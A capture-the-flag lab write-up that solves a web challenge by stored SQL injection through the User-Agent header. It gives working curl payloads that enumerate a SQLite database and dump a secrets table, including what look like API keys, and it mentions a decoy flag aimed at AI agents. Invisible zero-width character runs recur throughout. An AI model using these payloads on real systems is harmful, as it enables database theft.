Lab 81 — InsightPulse — SQL Injection in Analytics Tracking

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-06 | Status: Solved Techniques: decoy_flag_identification, pragma_table_info, sqlite_master_enumeration, stored_sql_injection_via_user_agent_header, subquery_injection_in_insert, tracking_pixel_abuse

Summary

Task: InsightPulse web analytics dashboard with /api/track endpoint that stores visitor User-Agent header directly into SQLite via string concatenation in INSERT statement. Solution: Stored SQL injection via User-Agent header using subquery injection to enumerate sqlite_master, discover platform_secrets table, and extract the flag.

Lab 81 — InsightPulse — SQL Injection in Analytics Tracking — HackAdvisor

Description

InsightPulse is a web analytics dashboard built by Pulse Analytics Co. that tracks visitor behavior, page views, and engagement metrics in real time. The platform provides detailed visitor logs with IP and device information, customizable dashboards with charts and reports, and a lightweight tracking script for embedding on websites. Audit the platform's security, discover how the analytics tracking system processes incoming data, and find a way to access sensitive information stored in the platform's database.

Hint: "Pay close attention to how visitor metadata is collected and stored — analytics platforms handle a lot of raw request data, and not all of it may be properly sanitized." ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An Express.js web analytics dashboard that tracks visitors via a /api/track endpoint. The endpoint records the visitor's IP, User-Agent, page URL, and referrer into a SQLite database. The User-Agent header is concatenated directly into an SQL INSERT statement without parameterization, enabling stored SQL injection. A decoy flag is planted in HTML comments across all pages to mislead automated scanners.

Credentials: user@test.com / password123

Analysis

Reconnaissance & Login

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Logged in with the provided credentials. The application is an Express.js (Node.js) web analytics dashboard with the following pages:

• /dashboard — overview with charts
• /dashboard/visitors — visitor log showing IP, User-Agent, page, timestamp
• /dashboard/pages — tracked pages
• /dashboard/reports — analytics reports
• /settings — API key and tracking script configuration

Decoy flag detected: Every page contained FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} hidden in HTML comments — a honeypot designed to trick AI agents and automated scanners. This was correctly identified and ignored. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Tracking Script Discovery

On the /settings page, found:

• API Key: ip_c0f685aa6d6d0f5d7ce06d3f896a24fe
• Tracking script snippet that sends a GET request to /api/track with parameters:
  • p — page path
  • ref — referrer
  • sid — API key / site ID

The documentation explained that the server records the visitor's IP address (via X-Forwarded-For header), browser User-Agent, page URL, and referrer into the analytics database. The endpoint returns a 1x1 GIF tracking pixel.

Identifying the Injection Point

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

1. Normal request — sent a request to /api/track with a standard User-Agent. The entry appeared in /dashboard/visitors.
2. Single quote test — sent ' as the User-Agent. The entry was NOT stored, indicating the SQL query broke on the unescaped quote.

This confirmed the User-Agent header value is directly concatenated into an SQL INSERT statement without parameterized queries — a classic stored SQL injection vector.

Solution

Step 1: Confirm SQLi with Subquery Injection

Used string concatenation to inject a subquery into the INSERT statement: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
curl -s "https://TARGET/api/track?p=/test&ref=&sid=ip_c0f685aa6d6d0f5d7ce06d3f896a24fe" \
  -H "User-Agent: test' || (select sqlite_version()) || '"

The visitor log displayed test3.49.2 as the User-Agent, confirming:

• SQLite 3.49.2 backend
• Working subquery injection within the INSERT statement
• String concatenation via || operator works

Step 2: Enumerate Database Tables

 bash read-only • copy allowed Copy
curl -s "https://TARGET/api/track?p=/test&ref=&sid=ip_c0f685aa6d6d0f5d7ce06d3f896a24fe" \
  -H "User-Agent: TABLES:' || (select group_concat(name,';') from sqlite_master where type='table') || '"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Result in visitor log:

TABLES:users;sqlite_sequence;visitor_logs;tracked_pages;platform_secrets

The platform_secrets table is the obvious target.

Step 3: Extract Table Schema

 bash read-only • copy allowed Copy
curl -s "https://TARGET/api/track?p=/test&ref=&sid=ip_c0f685aa6d6d0f5d7ce06d3f896a24fe" \
  -H "User-Agent: COLS:' || (select group_concat(name, ',') from pragma_table_info('platform_secrets')) || '"

Result:

COLS:id,secret_key,secret_value,created_at

Step 4: Extract the Flag

 bash read-only • copy allowed Copy
curl -s "https://TARGET/api/track?p=/test&ref=&sid=ip_c0f685aa6d6d0f5d7ce06d3f896a24fe" \
  -H "User-Agent: FLAG:' || (select group_concat(secret_key || '=' || secret_value, '|||') from platform_secrets) || '"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Result:

FLAG:master_api_key=FLAG{REDACTED}|||stripe_webhook_secret=whsec_254dd20f1951e4662b73f60583653075aaae8223c1a5b296|||sendgrid_api_key=SG.lOB1RjcpYo_ioxBqDvR0o5gSWp61MA

The flag is stored as the master_api_key in the platform_secrets table.

SQL Injection Mechanism

The vulnerable INSERT statement likely looks like:

 sql read-only • copy allowed Copy
INSERT INTO visitor_logs (ip, user_agent, page, referrer, site_id, timestamp)
VALUES ('1.2.3.4', '<USER_AGENT_HERE>', '/test', '', 'ip_c0f...', datetime('now'));

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The injection ' || (select ...) || ' closes the string, concatenates the subquery result, and reopens the string to keep the SQL syntax valid:

 sql read-only • copy allowed Copy
VALUES ('1.2.3.4', '' || (select group_concat(name,';') from sqlite_master where type='table') || '', ...);

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍